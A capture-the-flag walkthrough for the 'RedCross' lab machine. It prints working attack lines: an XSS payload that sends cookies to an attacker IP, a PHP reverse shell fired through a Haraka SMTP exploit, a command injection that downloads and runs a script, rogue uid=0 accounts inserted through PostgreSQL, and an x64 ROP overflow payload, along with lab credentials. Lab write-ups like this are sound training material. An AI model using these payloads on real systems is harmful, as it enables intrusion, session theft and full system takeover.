Overview

Machine author: ompamo. Debian. A maze box with multiple paths at every stage. Key concepts: cookie reuse between subdomains, NSS + PostgreSQL as the backend for system accounts, command injection in a setuid wrapper, and a x64 ROP buffer overflow.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
                    +- XSS (contact form) --------------+
 admin.redcross.htb +- SQLi -> crack charles -----------+-> reuse PHPSESSID
                    +- guest account -> cookie ---------+        |
                                                                v
                              +- Haraka SMTP RCE ---------------+
        shell as penelope     +                                 +-> user.txt
                              +- cmd injection (iptctl) -> www-data
                                     -> PostgreSQL creds -> add a user gid=1000
                                                                |
                                                                v
                              +- gid=27 (sudo) -> sudo su ------+ (unintended)
              root            +- unixnssroot -> uid=0 -> su ----+ (intended)
                              +- BOF in iptctl (setuid) -> ROP -+ (BOF path)
                                                                |
                                                                v
                                                            root.txt

Reconnaissance

1
2
3
22/tcp  ssh     OpenSSH 7.4p1 Debian 10+deb9u3   (Debian 9 Stretch)
80/tcp  http    Apache 2.4.25
443/tcp ssl/http Apache 2.4.25
  • Script scans (-sC) hang, so there is a WAF. Run only -sV.
  • HTTP GET / redirects (301) to https://intra.redcross.htb. Add it to /etc/hosts.

Domain and directory enumeration:

  • URL structure ?page=login suggests PHP (confirm with index.php?page=login).
  • gobuster (with -k, extension php): /init.php, /pages, /documentation, /images, /javascript.
  • A deeper gobuster on /documentation with -x pdf: account-signup.pdf (a signup guide plus a link to the contact form).

Subdomains:

1
2
wfuzz -c -w subdomains-top1mil-20000.txt -u https://10.10.10.x \
      -H "Host: FUZZ.redcross.htb" --hw 28 --hc 400

Finds intra (known) and admin (new, an IT Admin panel). When a box forces a hostname instead of an IP, fuzz subdomains.

Initial Access

Access to admin.redcross.htb

Three independent routes. admin and intra share PHP sessions: a valid PHPSESSID from one works on the other.

Path A, XSS (intended). The contact form ?page=contact filters <script> in the subject and body but not in the phone/email field.

1
<script>new Image().src="http://10.10.14.x:8888/c.php?c="+document.cookie;</script>

The admin who reviews reports triggers it; the HTTP listener receives PHPSESSID=...; DOMAIN=admin. Paste the cookie into the browser on admin. and you are logged in as admin.

Path B, SQLi (unintended, but instructive).

  1. Fill in the form per the PDF to get a guest:guest account on intra.

  2. The UserID filter is ?o=1&page=app. Injecting ' yields a DB error.

  3. The WAF kills a plain sqlmap; use --delay=1:

    1
    
    sqlmap -r app.request --delay=1 --batch --dump
    

    Types: boolean-based blind, error-based (FLOOR / GROUP BY), time-based. Dump: the users table (bcrypt hashes) plus messages (hints about the admin panel and the intra/admin link).

Cracking:

1
2
3
hashcat -m 3200 hashes.txt rockyou.txt
# bcrypt is slow; only charles cracks quickly:
# charles : cookiemonster

On CPU (Ryzen 5 9600X), -m 3200 runs at ~74 H/s, so full rockyou is days. cookiemonster is high enough in the list to fall in minutes.

Path C, cookie from login. Log into intra as guest/guest or charles/cookiemonster, copy the PHPSESSID (Cookie Editor), paste it on admin.; you are logged in. charles and guest cannot log into admin directly, but a valid session from intra carries over.

Admin panel to a shell as penelope

The panel has two functions: Network Access (opens the firewall) and User Management (adds users to a jail).

Enter your IP under “Network Access”. A repeat nmap reveals new ports:

1
2
3
21/tcp   ftp
1025/tcp Haraka SMTP (nmap does not recognize it; nc shows the banner)
5432/tcp postgresql
1
2
$ nc 10.10.10.x 1025
220 redcross ESMTP Haraka 2.8.8 ready

Path 1, Haraka SMTP RCE (intended). Haraka <= 2.8.9 with the attachment plugin gives RCE (exploit-db 41162.py). The exploit is Python 2 (print msg.as_string()), so run python2.7 41162.py .... [Errno 113] No route to host / [Errno 111] Connection refused means the wrong -m (host) or the firewall is not open yet.

1
2
3
python2.7 41162.py \
  -c "php -r '\$sock=fsockopen(\"10.10.14.x\",443);exec(\"/bin/sh -i <&3 >&3 2>&3\");'" \
  -t [email protected] -m <IP>

Escape inner " and $. Mail goes to penelope@, and Haraka runs as penelope, so the shell is uid=1000(penelope). Test first with -c "ping -c 1 <YOUR_IP>" (~1 min delay).

Metasploit variant, exploit/linux/smtp/haraka: rport defaults to 25, so set rport 1025. SRVPORT (stager server) is not LPORT (handler). “Module exited abnormally” can be misleading; the session may still open (sessions -i).

Path 2, command injection in iptctl to www-data. /home/public/src/iptctl.c (comment: “easily executable from admin.redcross.htb”). The firewall PHP page calls this wrapper, passing the IP from the form.

  • The allow action does not pass the injection.

  • The deny/restrict action gives RCE. Payload in the ip parameter (POST to /pages/actions.php):

    1
    
    ip=10.10.14.x; wget 10.10.14.x/shell.sh -O /tmp/shell.sh; chmod +x /tmp/shell.sh; /tmp/shell.sh &id=13&action=deny
    

Result: uid=33(www-data). www-data cannot read user.txt (penelope:penelope), but can read the admin panel PHP and find the PostgreSQL credentials:

1
grep -r pg_connect /var/www/html
userpassworddbrights
wwwaXwrtUO9_aa&redcrossfirewall
unixnssfios@ew023xnwunixread users (NSS)
unixusrmgrdheu%7wjx8B&unixINSERT users, but no uid
unixnssroot30jdsklj4d_3unixINSERT with uid=0

Add a user in the penelope group for user.txt:

1
2
openssl passwd -1 ghost          # -> $1$wV7CPbj9$59kAklYgquXe5TuJYIT591
psql -h 127.0.0.1 -U unixusrmgr -p 5432 -d unix   # password: dheu%7wjx8B&
1
2
insert into passwd_table (username, passwd, gid, homedir)
values ('penelghost', '$1$wV7CPbj9$59kAklYgquXe5TuJYIT591', 1000, '/home/penelope');
1
2
ssh [email protected]      # -> uid=2020 gid=1000(penelope)
cat user.txt

Privilege Escalation

NSS + PostgreSQL

The jail accounts are backed by Name Service Switch with the nss-pgsql plugin. The system resolves passwd/group/shadow from PostgreSQL, not just files. So an INSERT into passwd_table is a real system account.

Two config files:

1
2
/etc/nss-pgsql.conf        (r--r--r--)  -> passwd/group queries  (user: unixnss)
/etc/nss-pgsql-root.conf   (rw-rw----)  -> shadow queries        (user: unixnssroot)

nss-pgsql-root.conf is only readable once you have the root group, a deliberate gate.

uid vs gid, the core of the box:

  • unixusrmgr sets only gid (a uid attempt is permission denied).
  • gid=0 gives the root group, but root.txt is 0600 root:root, so the group cannot read it. You need uid=0.
  • uid=0 can only be set by unixnssroot.

Path 1, sudo group (gid=27), unintended:

1
grep sudo /etc/group        # sudo:x:27:
1
2
insert into passwd_table (username, passwd, gid, homedir)
values ('ghost', '$1$wV7CPbj9$59kAklYgquXe5TuJYIT591', 27, '/home/penelope');
1
2
3
ssh [email protected]       # uid=2021 gid=27(sudo)
sudo su                       # password = the one you set (ghost)
cat /root/root.txt

Path 2, unixnssroot -> uid=0, intended:

1
2
3
-- first a user with the root group, to read nss-pgsql-root.conf:
insert into passwd_table (username, passwd, gid, homedir)
values ('roghostt', '$1$...$...', 0, '/root');
1
2
3
ssh [email protected]           # gid=0(root), but root.txt is still 0600
cat /etc/nss-pgsql-root.conf       # -> user=unixnssroot password=30jdsklj4d_3
psql -h 127.0.0.1 -U unixnssroot -p 5432 -d unix
1
2
insert into passwd_table (username, passwd, uid, gid, homedir)
values ('rghostot', '$1$...$...', 0, 0, '/root');   -- uid=0
1
2
su rghostot                          # uid=0(root)
cat /root/root.txt

Path 3, BOF/ROP in iptctl (setuid):

1
-rwsr-sr-x 1 root root /opt/iptctl/iptctl     (setuid root)

Vulnerability in interactive():

1
2
3
#define BUFFSIZE 360
char inputAction[10];          // fgets reads 360 bytes -> overflow
fgets(inputAction, BUFFSIZE, stdin);
  • fgets reads null bytes too, convenient for a x64 payload.
  • Must pass isValidAction (allow/restrict/show in the first 9 bytes).

Protections (checksec):

1
2
3
4
5
CANARY  : disabled
NX      : ENABLED      -> no stack shellcode, need ROP
PIE     : disabled     -> binary addresses are static
RELRO   : Partial
ASLR    : 2 (full)     -> libc moves; target the PLT (static)

Offset: pattern_create -> crash -> pattern_offset = 29 (after the allow prefix).

x64 strategy: arguments in registers. Call execvp("sh", NULL):

  • sh in RDI (the string exists in the binary, end of “fflush” at 0x40046e)
  • NULL in RSI
  • jump to execvp@plt (static, ASLR does not move it)

Gadgets (rop in peda):

1
2
0x400de3 : pop rdi ; ret
0x400de1 : pop rsi ; pop r15 ; ret

Payload:

1
2
3
4
5
6
payload  = "allow" + "A"*29
payload += pop_rdi + p64(0) + setuid          # setuid(0)
payload += pop_rdi + sh_str                    # rdi = "sh"
payload += pop_rsi + p64(0) + p64(0)           # rsi = NULL (r15 = junk)
payload += execvp                              # execvp("sh", NULL)
payload += "\n7.8.8.9\n"                       # pass the second fgets (valid IP)

PLT addresses: execvp=0x400760, setuid=0x400780, sh=0x40046e.

Interaction without pwntools on the target: use socat on the machine and pwntools locally:

1
2
3
# on the target:
socat TCP-LISTEN:9001 EXEC:"/opt/iptctl/iptctl -i"
# locally: remote("10.10.10.x", 9001)

Result: uid=0(root) egid=0(root) (euid root via the setuid bit).

How the jail works

sshd_config:

1
2
3
Match group associates
    ChrootDirectory /var/jail/
    AllowTcpForwarding no

Users in the associates group (gid 1001) have / remapped to /var/jail/. So homedir=/var/jail/home from PHP becomes /var/jail/var/jail/home for the user (“No such file or directory”); changing it to /home fixes it.

SQLi error-based detail:

1
2
3
?o=1') and (select 1 from (select count(*),
  concat((version()),0x3a,floor(rand(0)*2))y
  from information_schema.tables group by y) x)-- -

Shorter alternative (XML parse error):

1
?o=1' and extractvalue(0x0a,concat(0x0a,(version()))) and 1)

Detection and Mitigation

  • Cookie reuse between subdomains: scope session cookies per subdomain.
  • NSS + DB backend: passwd_table/shadow_table in PostgreSQL are real accounts; restrict which DB accounts can write which columns.
  • uid != gid: the root group is not the root user; check flag permissions (0600).
  • setuid wrapper + PHP: comments in source (“executable from admin”) are a hint for command injection through the PHP layer.
  • x64 ROP: arguments in registers; with full ASLR target the PLT (static in no-PIE); use pop rdi/pop rsi gadgets; socat when pwntools is not on the target.
  • Tool versions: exploit-db PoCs are often Python 2 (python2.7); in Metasploit check rport/SRVPORT/LPORT.

Lessons Learned

  • Test session transfer between related applications and subdomains.
  • grep -r pg_connect on the source reveals the permission layers.
  • A blacklist on an allow action but not a deny action is a common oversight.

Command Reference

1
2
3
4
5
6
7
8
charles : cookiemonster                     (crack bcrypt)
guest   : guest                             (signup)
PostgreSQL @127.0.0.1:5432 db=unix:
  unixusrmgr : dheu%7wjx8B&                 (INSERT without uid)
  unixnssroot: 30jdsklj4d_3                 (INSERT with uid=0)  [from /etc/nss-pgsql-root.conf]
  unixnss    : fios@ew023xnw                (read)
  www        : aXwrtUO9_aa&    db=redcross  (firewall)
groups: sudo=27  root=0  penelope=1000  associates=1001
1
2
3
4
5
6
7
8
# subdomains
wfuzz -c -w subdomains-top1mil-20000.txt -u https://<IP> -H "Host: FUZZ.redcross.htb" --hw 28 --hc 400

# add a system user via NSS + PostgreSQL
openssl passwd -1 <pass>
psql -h 127.0.0.1 -U unixnssroot -p 5432 -d unix
# insert into passwd_table (username, passwd, uid, gid, homedir) values ('x','$1$...',0,0,'/root');
su x